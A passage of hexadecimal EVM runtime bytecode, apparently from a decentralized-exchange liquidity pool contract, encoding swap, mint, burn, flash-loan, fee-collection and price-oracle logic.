5090925090506108f4565b6040805192835260208301919091528051918290030190f35b61028e6114ad565b604080516001600160801b039092168252519081900360200190f35b6102b26114bc565b60405180836001600160801b03168152602001826001600160801b031681526020019250505060405180910390f35b6102fe600480360360208110156102f757600080fd5b50356114d6565b6040805163ffffffff909516855260069390930b60208501526001600160a01b039091168383015215156060830152519081900360800190f35b6103596004803603602081101561034e57600080fd5b503561ffff1661151c565b005b610363611616565b604080516001600160a01b03909816885260029690960b602088015261ffff9485168787015292841660608701529216608085015260ff90911660a0840152151560c0830152519081900360e00190f35b61026d600480360360a08110156103ca57600080fd5b6001600160a01b03823516916020810135600290810b92604083013590910b916001600160801b036060820135169181019060a08101608082013564010000000081111561041757600080fd5b82018360208201111561042957600080fd5b8035906020019184600183028401116401000000008311171561044b57600080fd5b509092509050611666565b61045e611922565b60408051918252519081900360200190f35b6103596004803603608081101561048657600080fd5b6001600160a01b0382351691602081013591604082013591908101906080810160608201356401000000008111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460018302840111640100000000831117156104f157600080fd5b509092509050611928565b6102b2600480360360a081101561051257600080fd5b506001600160a01b03813516906020810135600290810b91604081013590910b906001600160801b0360608201358116916080013516611d83565b61056a6004803603602081101561056357600080fd5b5035611f9d565b604080516001600160801b0396871681526020810195909552848101939093529084166060840152909216608082015290519081900360a00190f35b61045e600480360360208110156105bc57600080fd5b503560010b611fda565b61028e611fec565b610359600480360360408110156105e457600080fd5b5060ff81358116916020013516612010565b6102b26004803603606081101561060c57600080fd5b506001600160a01b03813516906001600160801b036020820135811691604001351661220f565b6106a36004803603602081101561064957600080fd5b81019060208101813564010000000081111561066457600080fd5b82018360208201111561067657600080fd5b8035906020019184602083028401116401000000008311171561069857600080fd5b5090925090506124dc565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156106e75781810151838201526020016106cf565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561072657818101518382015260200161070e565b5050505090500194505050505060405180910390f35b61026d6004803603606081101561075257600080fd5b508035600290810b91602081013590910b90604001356001600160801b0316612569565b6107a06004803603604081101561078c57600080fd5b508035600290810b9160200135900b6126e0565b6040805160069490940b84526001600160a01b03909216602084015263ffffffff1682820152519081900360600190f35b6101bb6128d7565b6107e16128fb565b6040805160029290920b8252519081900360200190f35b6101bb61291f565b610808612943565b6040805162ffffff9092168252519081900360200190f35b61045e612967565b6108486004803603602081101561083e57600080fd5b503560020b61296d565b604080516001600160801b039099168952600f9790970b602089015287870195909552606087019390935260069190910b60808601526001600160a01b031660a085015263ffffffff1660c0840152151560e083015251908190036101000190f35b610359600480360360208110156108c057600080fd5b50356001600160a01b03166129db565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806108ff612bf0565b85610936576040805162461bcd60e51b8152602060048201526002602482015261415360f01b604482015290519081900360640190fd5b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602083015261ffff600160b81b8204811693830193909352600160c81b810483166060830152600160d81b8104909216608082015260ff600160e81b8304811660a0830152600160f01b909204909116151560c082018190526109ef576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b87610a3a5780600001516001600160a01b0316866001600160a01b0316118015610a35575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038716105b610a6c565b80600001516001600160a01b0316866001600160a01b0316108015610a6c57506401000276a36001600160a01b038716115b610aa3576040805162461bcd60e51b815260206004820152600360248201526214d41360ea1b604482015290519081900360640190fd5b6000805460ff60f01b191681556040805160c08101909152808a610ad25760048460a0015160ff16901c610ae5565b60108460a0015160ff1681610ae357fe5b065b60ff1681526004546001600160801b03166020820152604001610b06612c27565b63ffffffff168152602001600060060b815260200160006001600160a01b031681526020016000151581525090506000808913905060006040518060e001604052808b81526020016000815260200185600001516001600160a01b03168152602001856020015160020b81526020018c610b8257600254610b86565b6001545b815260200160006001600160801b0316815260200184602001516001600160801b031681525090505b805115801590610bd55750886001600160a01b031681604001516001600160a01b031614155b15610f9f57610be261560e565b60408201516001600160a01b031681526060820151610c25906006907f00000000000000000000000000000000000000000000000000000000000000008f612c2b565b15156040830152600290810b810b60208301819052620d89e719910b1215610c5657620d89e7196020820152610c75565b6020810151620d89e860029190910b1315610c7557620d89e860208201525b610c828160200151612d6d565b6001600160a01b031660608201526040820151610d13908d610cbc578b6001600160a01b031683606001516001600160a01b031611610cd6565b8b6001600160a01b031683606001516001600160a01b0316105b610ce4578260600151610ce6565b8b5b60c085015185517f000000000000000000000000000000000000000000000000000000000000000061309f565b60c085015260a084015260808301526001600160a01b031660408301528215610d7557610d498160c00151826080015101613291565b825103825260a0810151610d6b90610d6090613291565b6020840151906132a7565b6020830152610db0565b610d828160a00151613291565b825101825260c08101516080820151610daa91610d9f9101613291565b6020840151906132c3565b60208301525b835160ff1615610df6576000846000015160ff168260c0015181610dd057fe5b60c0840180519290910491829003905260a0840180519091016001600160801b03169052505b60c08201516001600160801b031615610e3557610e298160c00151600160801b8460c001516001600160801b03166132d9565b60808301805190910190525b80606001516001600160a01b031682604001516001600160a01b03161415610f5e57806040015115610f35578360a00151610ebf57610e9d846040015160008760200151886040015188602001518a606001516008613389909695949392919063ffffffff16565b6001600160a01b03166080860152600690810b900b6060850152600160a08501525b6000610f0b82602001518e610ed657600154610edc565b84608001515b8f610eeb578560800151610eef565b6002545b608089015160608a015160408b0151600595949392919061351c565b90508c15610f17576000035b610f258360c00151826135ef565b6001600160801b031660c0840152505b8b610f44578060200151610f4d565b60018160200151035b600290810b900b6060830152610f99565b80600001516001600160a01b031682604001516001600160a01b031614610f9957610f8c82604001516136a5565b600290810b900b60608301525b50610baf565b836020015160020b816060015160020b1461107a57600080610fed86604001518660400151886020015188602001518a606001518b6080015160086139d1909695949392919063ffffffff16565b604085015160608601516000805461ffff60c81b1916600160c81b61ffff958616021761ffff60b81b1916600160b81b95909416949094029290921762ffffff60a01b1916600160a01b62ffffff60029490940b93909316929092029190911773ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116179055506110ac9050565b60408101516000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169190911790555b8060c001516001600160801b031683602001516001600160801b0316146110f25760c0810151600480546001600160801b0319166001600160801b039092169190911790555b8a1561114257608081015160015560a08101516001600160801b03161561113d5760a0810151600380546001600160801b031981166001600160801b03918216909301169190911790555b611188565b608081015160025560a08101516001600160801b0316156111885760a0810151600380546001600160801b03808216600160801b92839004821690940116029190911790555b8115158b1515146111a157602081015181518b036111ae565b80600001518a0381602001515b90965094508a156112e75760008512156111f0576111f07f00000000000000000000000000000000000000000000000000000000000000008d87600003613b86565b60006111fa613cd4565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b5050505061129e613cd4565b6112a88289613e0d565b11156112e1576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b50611411565b600086121561131e5761131e7f00000000000000000000000000000000000000000000000000000000000000008d88600003613b86565b6000611328613e1d565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156113ac57600080fd5b505af11580156113c0573d6000803e3d6000fd5b505050506113cc613e1d565b6113d68288613e0d565b111561140f576040805162461bcd60e51b815260206004820152600360248201526249494160e81b604482015290519081900360640190fd5b505b60408082015160c083015160608085015184518b8152602081018b90526001600160a01b03948516818701526001600160801b039093169183019190915260020b60808201529151908e169133917fc42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca679181900360a00190a350506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b6004546001600160801b031681565b6003546001600160801b0380821691600160801b90041682565b60088161ffff81106114e757600080fd5b015463ffffffff81169150640100000000810460060b90600160581b81046001600160a01b031690600160f81b900460ff1684565b600054600160f01b900460ff16611560576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611575612bf0565b60008054600160d81b900461ffff169061159160088385613eb5565b6000805461ffff808416600160d81b810261ffff60d81b19909316929092179092559192508316146115fe576040805161ffff80851682528316602082015281517fac49e518f90a358f652e4400164f05a5d8f7e35e7747279bc3a93dbf584e125a929181900390910190a15b50506000805460ff60f01b1916600160f01b17905550565b6000546001600160a01b03811690600160a01b810460020b9061ffff600160b81b8204811691600160c81b8104821691600160d81b8204169060ff600160e81b8204811691600160f01b90041687565b600080548190600160f01b900460ff166116ad576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b191690556001600160801b0385166116cd57600080fd5b60008061171b60405180608001604052808c6001600160a01b031681526020018b60020b81526020018a60020b81526020016117118a6001600160801b0316613f58565b600f0b9052613f69565b9250925050819350809250600080600086111561173d5761173a613cd4565b91505b841561174e5761174b613e1d565b90505b336001600160a01b031663d348799787878b8b6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b1580156117d057600080fd5b505af11580156117e4573d6000803e3d6000fd5b50505050600086111561183b576117f9613cd4565b6118038388613e0d565b111561183b576040805162461bcd60e51b815260206004820152600260248201526104d360f41b604482015290519081900360640190fd5b841561188b57611849613e1d565b6118538287613e0d565b111561188b576040805162461bcd60e51b81526020600482015260026024820152614d3160f01b604482015290519081900360640190fd5b8960020b8b60020b8d6001600160a01b03167f7a53080ba414158be7ec69b987b5fb7d07dee101fe85488f0853ae16239d0bde338d8b8b60405180856001600160a01b03168152602001846001600160801b0316815260200183815260200182815260200194505050505060405180910390a450506000805460ff60f01b1916600160f01b17905550919890975095505050505050565b60025481565b600054600160f01b900460ff1661196c576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19169055611981612bf0565b6004546001600160801b0316806119c3576040805162461bcd60e51b81526020600482015260016024820152601360fa1b604482015290519081900360640190fd5b60006119f8867f000000000000000000000000000000000000000000000000000000000000000062ffffff16620f42406141a9565b90506000611a2f867f000000000000000000000000000000000000000000000000000000000000000062ffffff16620f42406141a9565b90506000611a3b613cd4565b90506000611a47613e1d565b90508815611a7a57611a7a7f00000000000000000000000000000000000000000000000000000000000000008b8b613b86565b8715611aab57611aab7f00000000000000000000000000000000000000000000000000000000000000008b8a613b86565b336001600160a01b031663e9cbafb085858a8a6040518563ffffffff1660e01b815260040180858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b158015611b2d57600080fd5b505af1158015611b41573d6000803e3d6000fd5b505050506000611b4f613cd4565b90506000611b5b613e1d565b905081611b688588613e0d565b1115611ba0576040805162461bcd60e51b8152602060048201526002602482015261046360f41b604482015290519081900360640190fd5b80611bab8487613e0d565b1115611be3576040805162461bcd60e51b8152602060048201526002602482015261463160f01b604482015290519081900360640190fd5b8382038382038115611c725760008054600160e81b9004600f16908115611c16578160ff168481611c1057fe5b04611c19565b60005b90506001600160801b03811615611c4c57600380546001600160801b038082168401166001600160801b03199091161790555b611c66818503600160801b8d6001600160801b03166132d9565b60018054909101905550505b8015611cfd5760008054600160e81b900460041c600f16908115611ca2578160ff168381611c9c57fe5b04611ca5565b60005b90506001600160801b03811615611cd757600380546001600160801b03600160801b8083048216850182160291161790555b611cf1818403600160801b8d6001600160801b03166132d9565b60028054909101905550505b8d6001600160a01b0316336001600160a01b03167fbdbdb71d7860376ba52b25a5028beea23581364a40522f6bcfb86bb1f2dca6338f8f86866040518085815260200184815260200183815260200182815260200194505050505060405180910390a350506000805460ff60f01b1916600160f01b179055505050505050505050505050565b600080548190600160f01b900460ff16611dca576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b19168155611de460073389896141e3565b60038101549091506001600160801b0390811690861611611e055784611e14565b60038101546001600160801b03165b60038201549093506001600160801b03600160801b909104811690851611611e3c5783611e52565b6003810154600160801b90046001600160801b03165b91506001600160801b03831615611eb7576003810180546001600160801b031981166001600160801b03918216869003821617909155611eb7907f0000000000000000000000000000000000000000000000000000000000000000908a908616613b86565b6001600160801b03821615611f1d576003810180546001600160801b03600160801b808304821686900382160291811691909117909155611f1d907f0000000000000000000000000000000000000000000000000000000000000000908a908516613b86565b604080516001600160a01b038a1681526001600160801b0380861660208301528416818301529051600288810b92908a900b9133917f70935338e69775456a85ddef226c395fb668b63fa0115f5f20610b388e6ca9c0919081900360600190a4506000805460ff60f01b1916600160f01b17905590969095509350505050565b60076020526000908152604090208054600182015460028301546003909301546001600160801b0392831693919281811691600160801b90041685565b60066020526000908152604090205481565b7f000000000000000000000000000000000000000000000000000000000000000081565b600054600160f01b900460ff16612054576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691638da5cb5b916004808301926020929190829003018186803b1580156120c157600080fd5b505afa1580156120d5573d6000803e3d6000fd5b505050506040513d60208110156120eb57600080fd5b50516001600160a01b0316331461210157600080fd5b60ff82161580612124575060048260ff16101580156121245750600a8260ff1611155b801561214e575060ff8116158061214e575060048160ff161015801561214e5750600a8160ff1611155b61215757600080fd5b60008054610ff0600484901b16840160ff908116600160e81b9081027fffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841617909355919004167f973d8d92bb299f4af6ce49b52a8adb85ae46b9f214c4c4fc06ac77401237b1336010826040805160ff9390920683168252600f600486901c16602083015286831682820152918516606082015290519081900360800190a150506000805460ff60f01b1916600160f01b17905550565b600080548190600160f01b900460ff16612256576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916905560408051638da5cb5b60e01b815290516001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691638da5cb5b916004808301926020929190829003018186803b1580156122c357600080fd5b505afa1580156122d7573d6000803e3d6000fd5b505050506040513d60208110156122ed57600080fd5b50516001600160a01b0316331461230357600080fd5b6003546001600160801b039081169085161161231f578361232c565b6003546001600160801b03165b6003549092506001600160801b03600160801b9091048116908416116123525782612366565b600354600160801b90046001600160801b03165b90506001600160801b038216156123e7576003546001600160801b038381169116141561239557600019909101905b600380546001600160801b031981166001600160801b039182168590038216179091556123e7907f00000000000000000000000000000000000000000000000000000000000000009087908516613b86565b6001600160801b0381161561246d576003546001600160801b03828116600160801b90920416141561241857600019015b600380546001600160801b03600160801b80830482168590038216029181169190911790915561246d907f00000000000000000000000000000000000000000000000000000000000000009087908416613b86565b604080516001600160801b0380851682528316602082015281516001600160a01b0388169233927f596b573906218d3411850b26a6b437d6c4522fdb43d2d2386263f86d50b8b151929081900390910190a36000805460ff60f01b1916600160f01b1790559094909350915050565b6060806124e7612bf0565b61255e6124f2612c27565b858580806020026020016040519081016040528093929190818152602001838360200280828437600092018290525054600454600896959450600160a01b820460020b935061ffff600160b81b8304811693506001600160801b0390911691600160c81b900416614247565b915091509250929050565b600080548190600160f01b900460ff166125b0576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b6000805460ff60f01b1916815560408051608081018252338152600288810b602083015287900b918101919091528190819061260990606081016125fc6001600160801b038a16613f58565b600003600f0b9052613f69565b925092509250816000039450806000039350600085118061262a5750600084115b15612669576003830180546001600160801b038082168089018216600160801b93849004831689019092169092029091176001600160801b0319161790555b604080516001600160801b0388168152602081018790528082018690529051600289810b92908b900b9133917f0c396cd989a39f4459b5fa1aed6a9a8dcdbc45908acfd67e028cd568da98982c919081900360600190a450506000805460ff60f01b1916600160f01b179055509094909350915050565b60008060006126ed612bf0565b6126f785856143a1565b600285810b810b60009081526005602052604080822087840b90930b825281206003830154600681900b9367010000000000000082046001600160a01b0316928492600160d81b810463ffffffff169284929091600160f81b900460ff168061275f57600080fd5b6003820154600681900b985067010000000000000081046001600160a01b03169650600160d81b810463ffffffff169450600160f81b900460ff16806127a457600080fd5b50506040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b810b6020840181905261ffff600160b81b8404811695850195909552600160c81b830485166060850152600160d81b8304909416608084015260ff600160e81b8304811660a0850152600160f01b909204909116151560c08301529093508e810b91900b1215905061284d575093909403965090039350900390506128d0565b8a60020b816020015160020b12156128c1576000612869612c27565b602083015160408401516004546060860151939450600093849361289f936008938893879392916001600160801b031690613389565b9a9003989098039b5050949096039290920396509091030392506128d0915050565b50949093039650039350900390505b9250925092565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000081565b60015481565b60056020526000908152604090208054600182015460028301546003909301546001600160801b03831693600160801b909304600f0b9290600681900b9067010000000000000081046001600160a01b031690600160d81b810463ffffffff1690600160f81b900460ff1688565b6000546001600160a01b031615612a1e576040805162461bcd60e51b8152602060048201526002602482015261414960f01b604482015290519081900360640190fd5b6000612a29826136a5565b9050600080612a41612a39612c27565b60089061446a565b6040805160e0810182526001600160a01b038816808252600288810b6020808501829052600085870181905261ffff898116606088018190529089166080880181905260a08801839052600160c0909801979097528154600160f01b73ffffffffffffffffffffffffffffffffffffffff19909116871762ffffff60a01b1916600160a01b62ffffff9787900b9790971696909602959095177fffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffff16600160c81b9091021761ffff60d81b1916600160d81b909602959095177fff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1692909217909355835191825281019190915281519395509193507f98636036cb66a9c19a37435efc1e90142190214e8abeb821bdba3f2990dd4c9592918290030190a150505050565b60008082600281900b620d89e71981612b9957fe5b05029050600083600281900b620d89e881612bb057fe5b0502905060008460020b83830360020b81612bc757fe5b0560010190508062ffffff166001600160801b03801681612be457fe5b0493505050505b919050565b306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614612c2557600080fd5b565b4290565b60008060008460020b8660020b81612c3f57fe5b05905060008660020b128015612c6657508460020b8660020b81612c5f57fe5b0760020b15155b15612c7057600019015b8315612ce557600080612c82836144b6565b600182810b810b600090815260208d9052604090205460ff83169190911b80016000190190811680151597509294509092509085612cc757888360ff16860302612cda565b88612cd1826144c8565b840360ff168603025b965050505050612d63565b600080612cf4836001016144b6565b91509150600060018260ff166001901b031990506000818b60008660010b60010b8152602001908152602001600020541690508060001415955085612d4657888360ff0360ff16866001010102612d5c565b8883612d5183614568565b0360ff168660010101025b9650505050505b5094509492505050565b60008060008360020b12612d84578260020b612d8c565b8260020b6000035b9050620d89e8811115612dca576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b600060018216612dde57600160801b612df0565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615612e24576ffff97272373d413259a46990580e213a0260801c5b6004821615612e43576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b6008821615612e62576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b6010821615612e81576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615612ea0576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615612ebf576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615612ede576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615612efe576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615612f1e576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615612f3e576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615612f5e576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615612f7e576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615612f9e576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615612fbe576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615612fde576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615612fff576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561301f576e5d6af8dedb81196699c329225ee6040260801c5b6204000082161561303e576d2216e584f5fa1ea926041bedfe980260801c5b6208000082161561305b576b048a170391f7dc42444e8fa20260801c5b60008460020b131561307657806000198161307257fe5b0490505b64010000000081061561308a57600161308d565b60005b60ff16602082901c0192505050919050565b60008080806001600160a01b03808916908a1610158187128015906131245760006130d88989620f42400362ffffff16620f42406132d9565b9050826130f1576130ec8c8c8c6001614652565b6130fe565b6130fe8b8d8c60016146cd565b955085811061310f578a965061311e565b61311b8c8b838661478a565b96505b5061316e565b8161313b576131368b8b8b60006146cd565b613148565b6131488a8c8b6000614652565b935083886000031061315c5789955061316e565b61316b8b8a8a600003856147d6565b95505b6001600160a01b038a81169087161482156131d15780801561318d5750815b6131a35761319e878d8c60016146cd565b6131a5565b855b95508080156131b2575081155b6131c8576131c3878d8c6000614652565b6131ca565b845b945061321b565b8080156131db5750815b6131f1576131ec8c888c6001614652565b6131f3565b855b9550808015613200575081155b613216576132118c888c60006146cd565b613218565b845b94505b8115801561322b57508860000385115b15613237578860000394505b81801561325657508a6001600160a01b0316876001600160a01b031614155b15613265578589039350613282565b61327f868962ffffff168a620f42400362ffffff166141a9565b93505b50505095509550955095915050565b6000600160ff1b82106132a357600080fd5b5090565b808203828113156000831215146132bd57600080fd5b92915050565b818101828112156000831215146132bd57600080fd5b600080806000198587098686029250828110908390030390508061330f576000841161330457600080fd5b508290049050613382565b80841161331b57600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150505b9392505050565b60008063ffffffff8716613430576000898661ffff1661ffff81106133aa57fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff16151560608301529092508a161461341c57613419818a8988614822565b90505b806020015181604001519250925050613510565b8688036000806134458c8c858c8c8c8c6148d2565b91509150816000015163ffffffff168363ffffffff161415613477578160200151826040015194509450505050613510565b805163ffffffff8481169116141561349f578060200151816040015194509450505050613510565b8151815160208085015190840151918390039286039163ffffffff80841692908516910360060b816134cd57fe5b05028460200151018263ffffffff168263ffffffff1686604001518660400151036001600160a01b031602816134ff57fe5b048560400151019650965050505050505b97509795505050505050565b600295860b860b60009081526020979097526040909620600181018054909503909455938301805490920390915560038201805463ffffffff600160d81b6001600160a01b036701000000000000008085048216909603169094027fffffffffff0000000000000000000000000000000000000000ffffffffffffff90921691909117600681810b90960390950b66ffffffffffffff1666ffffffffffffff199095169490941782810485169095039093160263ffffffff60d81b1990931692909217905554600160801b9004600f0b90565b60008082600f0b121561365457826001600160801b03168260000384039150816001600160801b03161061364f576040805162461bcd60e51b81526020600482015260026024820152614c5360f01b604482015290519081900360640190fd5b6132bd565b826001600160801b03168284019150816001600160801b031610156132bd576040805162461bcd60e51b81526020600482015260026024820152614c4160f01b604482015290519081900360640190fd5b60006401000276a36001600160a01b038316108015906136e1575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b613716576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106137b757607f810383901c91506137c1565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146139c257886001600160a01b03166139a682612d6d565b6001600160a01b031611156139bb57816139bd565b805b6139c4565b815b9998505050505050505050565b6000806000898961ffff1661ffff81106139e757fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff161515606083015290925089161415613a575788859250925050613510565b8461ffff168461ffff16118015613a7857506001850361ffff168961ffff16145b15613a8557839150613a89565b8491505b8161ffff168960010161ffff1681613a9d57fe5b069250613aac81898989614822565b8a8461ffff1661ffff8110613abd57fe5b825191018054602084015160408501516060909501511515600160f81b027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6001600160a01b03909616600160581b027fff0000000000000000000000000000000000000000ffffffffffffffffffffff60069390930b66ffffffffffffff16640100000000026affffffffffffff000000001963ffffffff90971663ffffffff199095169490941795909516929092171692909217929092161790555097509795505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310613c025780518252601f199092019160209182019101613be3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613c64576040519150601f19603f3d011682016040523d82523d6000602084013e613c69565b606091505b5091509150818015613c97575080511580613c975750808060200190516020811015613c9457600080fd5b50515b613ccd576040805162461bcd60e51b81526020600482015260026024820152612a2360f11b604482015290519081900360640190fd5b5050505050565b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001693919290918291908083835b60208310613d6d5780518252601f199092019160209182019101613d4e565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114613dcd576040519150601f19603f3d011682016040523d82523d6000602084013e613dd2565b606091505b5091509150818015613de657506020815110155b613def57600080fd5b808060200190516020811015613e0457600080fd5b50519250505090565b808201828110156132bd57600080fd5b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016939192909182919080838360208310613d6d5780518252601f199092019160209182019101613d4e565b6000808361ffff1611613ef3576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b8261ffff168261ffff1611613f09575081613382565b825b8261ffff168161ffff161015613f4f576001858261ffff1661ffff8110613f2e57fe5b01805463ffffffff191663ffffffff92909216919091179055600101613f0b565b50909392505050565b80600f81900b8114612beb57600080fd5b6000806000613f76612bf0565b613f88846020015185604001516143a1565b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602080840182905261ffff600160b81b8404811685870152600160c81b84048116606080870191909152600160d81b8504909116608086015260ff600160e81b8504811660a0870152600160f01b909404909316151560c08501528851908901519489015192890151939461402c9491939092909190614acf565b93508460600151600f0b6000146141a157846020015160020b816020015160020b12156140815761407a6140638660200151612d6d565b6140708760400151612d6d565b8760600151614c84565b92506141a1565b846040015160020b816020015160020b12156141775760045460408201516001600160801b03909116906140d3906140b7612c27565b60208501516060860151608087015160089493929187916139d1565b6000805461ffff60c81b1916600160c81b61ffff938416021761ffff60b81b1916600160b81b939092169290920217905581516040870151614123919061411990612d6d565b8860600151614c84565b93506141416141358760200151612d6d565b83516060890151614cc8565b92506141518187606001516135ef565b600480546001600160801b0319166001600160801b0392909216919091179055506141a1565b61419e6141878660200151612d6d565b6141948760400151612d6d565b8760600151614cc8565b91505b509193909250565b60006141b68484846132d9565b9050600082806141c257fe5b84860911156133825760001981106141d957600080fd5b6001019392505050565b6040805160609490941b6bffffffffffffffffffffffff1916602080860191909152600293840b60e890811b60348701529290930b90911b60378401528051808403601a018152603a90930181528251928201929092206000908152929052902090565b60608060008361ffff1611614287576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b865167ffffffffffffffff8111801561429f57600080fd5b506040519080825280602002602001820160405280156142c9578160200160208202803683370190505b509150865167ffffffffffffffff811180156142e457600080fd5b5060405190808252806020026020018201604052801561430e578160200160208202803683370190505b50905060005b87518110156143945761433f8a8a8a848151811061432e57fe5b60200260200101518a8a8a8a613389565b84838151811061434b57fe5b6020026020010184848151811061435e57fe5b60200260200101826001600160a01b03166001600160a01b03168152508260060b60060b81525050508080600101915050614314565b5097509795505050505050565b8060020b8260020b126143e1576040805162461bcd60e51b8152602060048201526003602482015262544c5560e81b604482015290519081900360640190fd5b620d89e719600283900b1215614424576040805162461bcd60e51b8152602060048201526003602482015262544c4d60e81b604482015290519081900360640190fd5b620d89e8600282900b1315614466576040805162461bcd60e51b815260206004820152600360248201526254554d60e81b604482015290519081900360640190fd5b5050565b6040805160808101825263ffffffff9283168082526000602083018190529282019290925260016060909101819052835463ffffffff1916909117909116600160f81b17909155908190565b60020b600881901d9161010090910790565b60008082116144d657600080fd5b600160801b82106144e957608091821c91015b68010000000000000000821061450157604091821c91015b640100000000821061451557602091821c91015b62010000821061452757601091821c91015b610100821061453857600891821c91015b6010821061454857600491821c91015b6004821061455857600291821c91015b60028210612beb57600101919050565b600080821161457657600080fd5b5060ff6001600160801b0382161561459157607f1901614599565b608082901c91505b67ffffffffffffffff8216156145b257603f19016145ba565b604082901c91505b63ffffffff8216156145cf57